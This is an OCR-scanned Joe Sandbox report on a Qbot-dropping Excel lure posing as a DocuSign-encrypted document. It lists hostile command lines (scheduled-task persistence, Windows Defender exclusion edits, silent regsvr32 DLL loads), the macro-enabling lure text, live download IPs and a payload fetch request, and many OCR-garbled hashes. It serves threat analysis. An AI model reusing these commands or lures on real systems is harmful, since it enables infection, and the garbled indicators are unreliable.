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Windows Analysis Report Compensation-2100058996-0...
Overview

General Information Detection

Sample Compensation-
Name: 2100058996-09272021.xls MALICIOUS

Analysis ID: 492061

Classification

Yara detected Qbot

Document exploit detected (drops P...

MDS: 4658146f947ead9. Sigma detected: Schedule system p...
SHAL 7e5if8360ebaled.. Office document tries to convince Vvi...
:HAZSG: 711339805e2748.. Multi AV Scanner detection for dropp...
e - Maps a DLL or. memory area into an...
Infos: R Q&

Overwrites code with unconditionalj...
NS MR HOA'
Y ¥

. . Office process drops PE file
Most interesting Screenshot:

. S Hidden Macro 4.0 Writes to foreign memoary. regions
¥y r Qb
“““ e Uses cmd line tools excessively to a...
DocuSign Y

Docusc PTeCTSeRvicE Range: 0-100 Sigma detected: Microsoft Office Pr...
Whitelisted: false

X Allocates memory in foreign process...
Confidence: 100%

Injects code into the Windows Explo...

PE file has nameless sections

%)
«Q
=3
4
c
=
(1
7]

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 2588 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
o [ regsvr32.exe (PID: 1516 cmdline: regsvr32 -silent ..\Drezd.red MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o B regsvr32.exe (PID: 1636 cmdline: -silent .\Drezd.red MD5: 432BE6CF7311062633459EEF6B242FB5)
. AJ explorer.exe (PID: 684 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)
. B schtasks.exe (PID: 408 cmdline: ‘C:\Windows\system32\schtasks.exe' /Create /RU ‘NT AUTHORITY\SYSTEM' /tn uwgqvoal /tr ‘regsvr32.exe -s \'C:\Users\user\Dr
ezd.red\" /SC ONCE /Z /ST 10:25 /ET 10:37 MD5: 2003E9B15E1C502B146DAD2E383AC1E3)
o B regsvr32.exe (PID: 2712 cmdline: regsvr32 -silent ..\Drezd1.red MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o B regsvr32.exe (PID: 1256 cmdline: regsvr32 -silent ..\Drezd2.red MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o B regsvr32.exe (PID: 1848 cmdline: regsvr32.exe -s ‘C:\Users\user\Drezd.red' MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o B regsvr32.exe (PID: 1016 cmdline: -s ‘C:\Users\user\Drezd.red' MD5: 432BE6CF7311062633459EEF6B242FB5)
. AJ explorer.exe (PID: 2552 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)
. B reg.exe (PID: 2836 cmdline: C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v ‘C:\Progr
amData\Microsoft\Imgocbuplg’ /d '0* MD5: 9D0B3066FE3D1FD345E86BC7BCCEDIE4)
o [m reg.exe (PID: 2840 cmdline: C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users
\user\AppData\Roaming\Microsoft\laoaukbfna’ /d '0' MD5: 9D0B3066FE3D1FD345E86BC7BCCEDIE4)
o B regsvr32.exe (PID: 3056 cmdline: regsvr32.exe -s 'C:\Users\user\Drezd.red' MD5: 59BCE9F07985F8A4204F4D6554CFF708)
o B regsvr32.exe (PID: 152 cmdline: -s 'C:\Users\user\Drezd.red' MD5: 432BE6CF7311062633459EEF6B242FB5)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source Rule Description Author Strings
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Source Rule Description Author Strings

Compensation-2100058996-09272021.xls JoeSecurity_HiddenMacro Yara detected Joe Security
hidden Macro 4.0
in Excel

Memory Dumps

Source Rule Description Author Strings

0000000D.00000002.727158282.0000000010001000.00000 JoeSecurity_ Qbot_1  Yara detected Qbot Joe Security
040.00020000.sdmp

00000007.00000002.978062440.00000000000E0000.00000 JoeSecurity_ Qbot_1  Yara detected Qbot Joe Security
040.00020000.sdmp

0000000E.00000002.978045308.00000000000C0000.00000 JoeSecurity Qbot_1  Yara detected Qbot Joe Security
040.00020000.sdmp

0000000D.00000002.725678165.0000000000210000.00000 JoeSecurity_Qbot_1  Yara detected Qbot Joe Security
004.00000001.sdmp

00000006.00000002.715078031.0000000010001000.00000 JoeSecurity_Qbot_1  Yara detected Qbot Joe Security
040.00020000.sdmp

Click to see the 1 entries

Unpacked PEs

Source Rule Description Author Strings
13.2.regsvr32.exe.210000.0.raw.unpack JoeSecurity_Qbot_1  Yara detected Qbot Joe Security
7.2.explorer.exe.e0000.0.unpack JoeSecurity_Qbot_1  Yara detected Qbot Joe Security
14.2.explorer.exe.c0000.0.unpack JoeSecurity_Qbot_1  Yara detected Qbot Joe Security
7.2.explorer.exe.e0000.0.raw.unpack JoeSecurity_Qbot_1  Yara detected Qbot Joe Security
6.2.regsvr32.exe.890000.0.unpack JoeSecurity_Qbot_1  Yara detected Qbot Joe Security

Click to see the 1 entries

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Jbx Signhature Overview

g

Click to jump to signature section

AV Detection: | |

Multi AV Scanner detection for dropped file

Software Vulnerabilities:

Document exploit detected (drops PE files)

System Summary:
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Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

HIPS | PFW | Operating System Protection Evasion:

Stealing of Sensitive Information:

Yara detected Qbot

Remote Access Functionality: I I

Yara detected Qbot

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Networ
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Command and  Windows Windows Masquerading Credential System Time Remote Credential  Exfiltration Encrypted Eavesd
Accounts  Scripting Service Service API Discovery Services API Over Other Channel Insecur
Interpreter Hooking Hooking ({) Network Networl
Medium Commt
Default Scheduled Scheduled  Process Disable or Modify LSASS Security Software Remote Archive Exfiltration  Ingress Tool Exploit
Accounts  Task/Job Task/Job @ Injection Tools Memory  Discovery Desktop Collected  Over Transfer Redirec
Protocol Data Bluetooth calls/sl
Domain Scripting Logon Script Scheduled Modify Registry Security Virtualization/Sandbox SMB/Windows Data from Automated Non- Exploit
Accounts (Windows)  Task/Job Account Evasion Admin Shares Network Exfiltration Application Track C
Manager Shared Layer Locatio
Drive Protocol

Local Service Logon Script Logon Script Virtualization/Sandbox NTDS Process Discovery Distributed Input Scheduled Application SIM Ca

Accounts  Execution (Mac) (Mac) Evasion Component Capture Transfer Layer Swap

Object Model Protocol
Cloud Native API Network Network Logon  Process LSA File and Directory SSH Keylogging Data Fallback Manipu
Accounts Logon Script Script Injection Secrets Discovery Transfer Channels Device
Size Limits Commt
Replication Exploitation for ~Rc.common Rc.common Scripting Cached System Information VNC GUI Input  Exfiltration  Multiband Jammir
Through Client Domain Discovery Capture Over C2 Communication Denial «
Removable Execution Credentials Channel Service
Media
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Initial Privilege
Access Execution Persistence Escalation
External Scheduled Task Startup Startup Items
Remote Items

Services

Behavior Graph
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Screenshots

Thumbnails

Defense Evasion
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Compensation-2100058996-09272021 [Compatibility Mode] - Microsoft Excel = @ =
Home | Insert  Pagelayout  Formulas  Data  Review  View 6 @o & B
_ e o o pee .
& cut Calibri i A s === % Siweptet General ij‘ % ] = i = Autosum 7‘? cﬁ
B3 copy ~ . ~ @ Fin - 2

B I U-| - M-A- = ElMerge & Center - $ - % » | %@ £ Conditional Fomat Cell | Insert Delete Format Sort& Find &
f Format Painter = - = = ° Formatting = as Table = Styles~ | = - - | 2Clear~  Fifter~ Select~

Clipboard Font Alignment Number Styles Cells Editing
fe
D G H

DocuSign
THIS DOCUMENT ENCRYPTED BY
DOCUSIGN® PROTECT SERVICE

K

This steps are required to fully decrypt the document,
encrypted by DocuSign

1. If this document was downloaded from E-mail, then please click "Enable editing" in the yellow bar
above.

example of notification

( o PROTECT iginated from an internet location and might be unsafe. Click for more details. { Enable Editing )

2. Click to "Enable Content" to perform Microsoft Excel Decryption Core to start the decryption of the
document.

example of notification

v SECURITY WARNING  Macros have been disabled. " EnableMacros | )

Why | can not open this document?

- You are using iOS or Android device. Please use Desktop PC.
- You are trying to view this document using Online Viewer.

W 4> M| Sheetl /%]
Ready | |[Eo@m 100% (- +
— r - O 1023am ||
/ o0z | |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IES\ZAE7RW1 100% Joe Sandbox ML

P\44467.4314974537[1].dat

C:\Users\user\Drezd.red 12% Virustotal Browse
C:\Users\user\Drezd.red 9% ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
http://www.%s.comPA 0% URL Reputation safe
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https://www.virustotal.com/gui/file/17d261eaca2629ef9907d0c00fb2271201e466796f06dcb7232900d711c29330/detection/f-17d261eaca2629ef9907d0c00fb2271201e466796f06dcb7232900d711c29330-1632793265

Source

http://190.14.37.178/44467.4314974537 .dat

http://servername/isapibackend.dll

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name

http://190.14.37.178/44467.4314974537 .dat

URLs from Memory and Binaries

Contacted IPs

Public

P Domain
185.183.96.67 unknown
190.14.37.178 unknown
185.250.148.213 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:
Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

Copyright Joe Security LLC 2021

Detection Scanner
0% Avira URL Cloud
0% Avira URL Cloud
Malicious Antivirus Detection
false e Avira URL Cloud: safe
Country Flag ASN
Netherlands - 60117
Panama a 52469
Russian Federation - 48430

33.0.0 White Diamond

492061

28.09.2021

10:21:25

CloudBasic

Oh 14m 36s

false

light
Compensation-2100058996-09272021.xIs

defaultwindowsofficecookbook.jbs

Label Link
safe
safe
Reputation
unknown
ASN Name Malicious
HSAE false
OffshoreRacksSAPA false
FIRSTDC-ASRU false

Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET

46.2)
22

o o o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

LJ
L]
LJ
LJ
default
Timeout
MAL
mal100.troj.expl.evad.winXLS@25/6 @0/3
Failed

e Successful, ratio: 23.2% (good quality ratio 21.6%)
e Quality average: 75.9%
e Quality standard deviation: 28.2%
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HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

10:23:40
10:23:42
10:23:44
10:23:45

Joe Sandbox View | Context

IPs

Match
185.183.96.67

190.14.37.178

Domains

No context

ASN

Copyright Joe Security LLC 2021

e Successful, ratio: 86%
e Number of executed functions: 0

Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension: .xls

Changed system and user locale, location and keyboard layout to English - United States
Found Word or Excel or PowerPoint or XPS Viewer

Attach to Office via COM

Scroll down

Close Viewer

Show All

Type

API Interceptor
API Interceptor
API Interceptor
Task Scheduler

Description

28x Sleep call for process: regsvr32.exe modified
884x Sleep call for process: explorer.exe modified
2x Sleep call for process: schtasks.exe modified

Run new task: uwqvoal path: regsvr32.exe s>-s "C:\Users\user\Drezd.red"

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 185.183.9
6.67/44466
.889089120
4.dat

Get hash malicious Browse e 185.183.9
6.67/44466
751690393
5.dat

Get hash malicious Browse e 185.183.9
6.67/44466
.702284490
7.dat

Get hash malicious Browse e 190.14.37
.178/44466
966861805
6.dat

Get hash malicious Browse e 190.14.37
.178/44466
963379976
8.dat

Get hash malicious Browse e 190.14.37
.178/44466
.889089120
4.dat

Get hash malicious Browse e 190.14.37
.178/44466
751690393
5.dat

Get hash malicious Browse e 190.14.37
.178/44466
.702284490
7.dat
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https://view.joesandbox.com/analysis/386166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid
https://view.joesandbox.com/analysis/386201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386201/html/none?idtype=webid
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid

Match
HSAE

OffshoreRacksSAPA

JA3 Fingerprints
No context

Dropped Files

Match

C:\Users\user\Drezd.red

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

> >
["] [7]
173 7]
[=] [=]
8. 8.
2 2
[} o
o Qo
[72] [72]
il o
3 3
=1 S
[} ;)
2 P4
1 o
3 3
[’} )
Cc Cc
Pl A
r r

Created | dropped Files

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Context

e 185.183.96.67
e 185.183.96.67
e 185.183.96.67
e 185.183.96.67
e 185.183.96.67
e 185.183.98.2

e 185.82.202.248
e 185.198.57.68
e 185.45.192.203
e 185.45.192.203
e 185.45.192.203
e 194.36.191.196
e 185.183.96.3

e 185.183.96.3

e 185.183.96.3
e 185.183.96.3
e 185.183.96.3
e 185.183.96.3
e 185.183.96.3
e 185.183.96.3
e 190.14.37.178
e 190.14.37.178
e 190.14.37.178
e 190.14.37.178
e 190.14.37.178
e 190.14.37.173
e 190.14.37.173
e 190.14.37.173
e 190.14.37.173
e 190.14.37.173
e 190.14.37.232
e 190.14.37.3

e 190.14.37.3

e 190.14.37.3

e 190.14.37.3

e 190.14.37.3

e 190.14.37.3

e 190.14.37.3

e 190.14.37.3

e 190.14.37.3

Context

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 387072

Copyright Joe Security LLC 2021
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https://view.joesandbox.com/analysis/386201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386201/html/none?idtype=webid
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid
https://view.joesandbox.com/analysis/385472/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385472/html/none?idtype=webid
https://view.joesandbox.com/analysis/383221/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383221/html/none?idtype=webid
https://view.joesandbox.com/analysis/379475/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379475/html/none?idtype=webid
https://view.joesandbox.com/analysis/379101/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379101/html/none?idtype=webid
https://view.joesandbox.com/analysis/378536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378536/html/none?idtype=webid
https://view.joesandbox.com/analysis/376902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376902/html/none?idtype=webid
https://view.joesandbox.com/analysis/376349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376349/html/none?idtype=webid
https://view.joesandbox.com/analysis/376285/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376285/html/none?idtype=webid
https://view.joesandbox.com/analysis/376277/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376277/html/none?idtype=webid
https://view.joesandbox.com/analysis/376276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376276/html/none?idtype=webid
https://view.joesandbox.com/analysis/376267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376267/html/none?idtype=webid
https://view.joesandbox.com/analysis/376176/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376176/html/none?idtype=webid
https://view.joesandbox.com/analysis/376128/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376128/html/none?idtype=webid
https://view.joesandbox.com/analysis/376119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376119/html/none?idtype=webid
https://view.joesandbox.com/analysis/376106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376106/html/none?idtype=webid
https://view.joesandbox.com/analysis/386201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386201/html/none?idtype=webid
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid
https://view.joesandbox.com/analysis/385701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385701/html/none?idtype=webid
https://view.joesandbox.com/analysis/385551/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385551/html/none?idtype=webid
https://view.joesandbox.com/analysis/384514/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384514/html/none?idtype=webid
https://view.joesandbox.com/analysis/384497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384497/html/none?idtype=webid
https://view.joesandbox.com/analysis/384489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384489/html/none?idtype=webid
https://view.joesandbox.com/analysis/382833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382833/html/none?idtype=webid
https://view.joesandbox.com/analysis/353298/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353298/html/none?idtype=webid
https://view.joesandbox.com/analysis/353293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353293/html/none?idtype=webid
https://view.joesandbox.com/analysis/352633/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352633/html/none?idtype=webid
https://view.joesandbox.com/analysis/352628/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352628/html/none?idtype=webid
https://view.joesandbox.com/analysis/346050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/346050/html/none?idtype=webid
https://view.joesandbox.com/analysis/346049/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/346049/html/none?idtype=webid
https://view.joesandbox.com/analysis/346048/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/346048/html/none?idtype=webid
https://view.joesandbox.com/analysis/346047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/346047/html/none?idtype=webid
https://view.joesandbox.com/analysis/346046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/346046/html/none?idtype=webid
https://view.joesandbox.com/analysis/386201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386201/html/none?idtype=webid
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386200/html/none?idtype=webid
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386166/html/none?idtype=webid
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386011/html/none?idtype=webid
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385961/html/none?idtype=webid

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

4.52850738525501

false

3072:Do6vBnby4Yx0XjFFzPQOMsIzERfQB24hLxBVi/b/9+PdpiWC350l/uwfTuT2b2Mp:vs6Xpq0H3Jhds/9+qC/zfTPLX

F6CC787BB41B7500C5A8CBAC69719F47

CB3E68EEODED8625C39D45DA45CB3F637A958380

1FE2FF723730694954E8A1C9C06873C7A4376BDFCAFDB1C5C562A4ECALC5ED6C
6DDE19CE6B8FE4D66B7B805336AB8558B556F4F90ED7F4FB71E864BC5656CE353536CF78829B51D75321AC78FA171873F0D6B26100137AC0B4167A7C029F22F7

true

e Antivirus: Joe Sandbox ML, Detection: 100%

C:\Users\luser\AppData\Local\Temp\VBE\MSForms.exd

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

162688

4.254406145670295

false
1536:C6(L3FNSc8SetKBI6vQVCBUmVMOejemXmYarrJQcd1Fal.cm48s:CHINSc83tKBAVQVCgOtmXmLpLm4l
CE4C6F2E69D0C41D112F6E2E15D91BEA

C82A5649FB72190F638CF670AD61054BABA6798F
F102A88B19F9A1E77E3DA8131AA3A9F3FED09624B877E12D6FE7904D5FAB3D44

6CAGAEE7E29CA1C5DC45C343F3394FDEE3B7BDFA414AECS5ABT7EA77771E20242AAA29E35B376DB822AB15C5BA89102507B80E9829DFB332B2D06B2ECE91EG82F
2A

false

LULHLHLHTSL$..%..%...%. H&..
. . /...0..p0...0..81...1...2..d2...2..,.3...3...3.X4...4.. 5..5..5.L6..6...7.X7..7.@8....... B
.......................................... XeXGiiiiien T e &

C:\Users\luser\AppData\Local\Temp\VBE\RefEdit.exd

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

15676

4.532454639094322

false
192:5GxIE11DxzCOtHIT6P20eChgZjTdZ3HJIV8L1I117EMBKDXrq9LWGGLVbkLde:5G3oxesT20lheZ3waE5D7qxIxkxe
21AD64E5A31F72F116AC1B795158E7A9

B519A4ECA430A5FB56FDC079B2B1DC19BB23CB36F
31A3260BDFB94EESE312E6F8C7249B19908FC09104DC0B130D39A7EAAGGESBAF
14DA5873EC106FF15057C440B45CE1FDC76AC475A276AF158C25EAF6776E9DE10578992A8115B970F67B3ACDF2602940B52152754AC14ED347C31481D360AAE:

false

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Windows\SysWOW64\explorer.exe
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

387072

1.6961804656486577

false
1536:92VcC6MtqWgV3vAFNJI3JIXSIN5SYCR44u029R+J:XC6MtAAFNJI5XC5SY Ci02r+J
B19BOAF9A01DD936D091C291B19696C8
862ED0B9586729F2633670CCD7D075D7693908E1
17D261EACA2629EF9907D0C0O0FB2271201E466796F06DCB7232900D711C29330
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SHA-512: 9FOCEB5AFA00919797A3A75308CF49366D5DCAOC17EA3CFAB70A9E9244E0D5ABEDEC21A3A46C2C609159E0CBFI1AFAF10E6A36F3FB7310A5C2B062249AB430
B4

Malicious: true

Antivirus: e Antivirus: Virustotal, Detection: 12%, Browse

e Antivirus: ReversingLabs, Detection: 9%

Joe Sandbox
View:

Filename: Compensation-1657705079-09272021.xls, Detection: malicious, Browse
Filename: Compensation-1214892625-09272021.xls, Detection: malicious, Browse

Filename: Compensation-2308017-09272021.xls, Detection: malicious, Browse
Filename: Compensation-1730406737-09272021.xls, Detection: malicious, Browse

Preview:

L]
L]
e Filename: #Qbot downloader.xls, Detection: malicious, Browse
L]
L]

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:
Number of OLE Files:

OLE File "Compensation-2100058996-09272021.xIs"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:

Contains PowerPoint Document Stream:

Copyright Joe Security LLC 2021

edeea286a4bdbcbd

OLE

True

Microsoft Excel
False

False

True

False

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 10.0, Code page: 1251, Author:
Test, Last Saved By: Test, Name of Creating Ap
plication: Microsoft Excel, Create Time/Date: Fri Jun 5
19:17:20 2015, Last Saved Time/Date: Mon Sep 27
10:38:52 2021, Security: 0

7.131912306364678

e Microsoft Excel sheet (30009/1) 47.99%

* Microsoft Excel sheet (alternate) (24509/1) 39.20%

e Generic OLE2 / Multistream Compound File
(8008/1) 12.81%

Compensation-2100058996-09272021.xIs
129024

4658146f947ea498baafocf542ad0fcs
7e5ff8360ebale466a301e0e562574ae333f7a89

7113398h5e27483757f79¢346d4357014€972bb103d0fct
cc03ab2641d51eb8d

4e8b579d0b2cdfeddfd4ea7a25d688f8252e0a4che9379f
8172c4e5203bbc8457526c8c692a989be9932dd00deeeC
b5c55e2875c2d4clee2e26f6c5a0ach4884

3072:Cik3hOdsylKlgxopeiBNhZFGzE+cL2kdAnc6YehW
fG+HUHKGDbpmsiilBti2JtqV:vk3hOdsylKlgxopeiBNhZF+
E+W2kdAnE
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https://www.virustotal.com/gui/file/17d261eaca2629ef9907d0c00fb2271201e466796f06dcb7232900d711c29330/detection/f-17d261eaca2629ef9907d0c00fb2271201e466796f06dcb7232900d711c29330-1632793265
https://view.joesandbox.com/analysis/386201/html/none
https://view.joesandbox.com/analysis/386200/html/none
https://view.joesandbox.com/analysis/386166/html/none
https://view.joesandbox.com/analysis/386011/html/none
https://view.joesandbox.com/analysis/385961/html/none

Indicators

Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary

Code Page:

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:
Streams with VBA

Streams

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

e 190.14.37.178

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Sep 28, 2021 0

10:22:19.208677053 CEST

Copyright Joe Security LLC 2021

Source Port
49165

Direction
ouT

Destination IP
190.14.37.178

Data

False

True

1251
Test
Test

2015-06-05 18:17:20
2021-09-27 09:38:52

Microsoft Excel

0

1251

False

False
False
False

1048576

Destination Port Process

80 C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

GET /44467.4314974537.dat HTTP/1.1

Accept: */*
UA-CPU: AMD64

Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;

.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 190.14.37.178
Connection: Keep-Alive
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kBytes
Timestamp transferred Direction

Sep 28, 2021 1 IN
10:22:32.754797935 CEST

Code Manipulations

Statistics

Behavior

o)

Click to jump to process

System Behavior

Data

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 28 Sep 2021 08:22:32 GMT

Content-Type: application/octet-stream

Content-Length: 387072

Connection: keep-alive

X-Powered-By: PHP/5.4.16

Accept-Ranges: bytes

Expires: 0

Cache-Control: no-cache, no-store, must-revalidate

Content-Disposition: attachment; filename="44467.4314974537.dat"

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
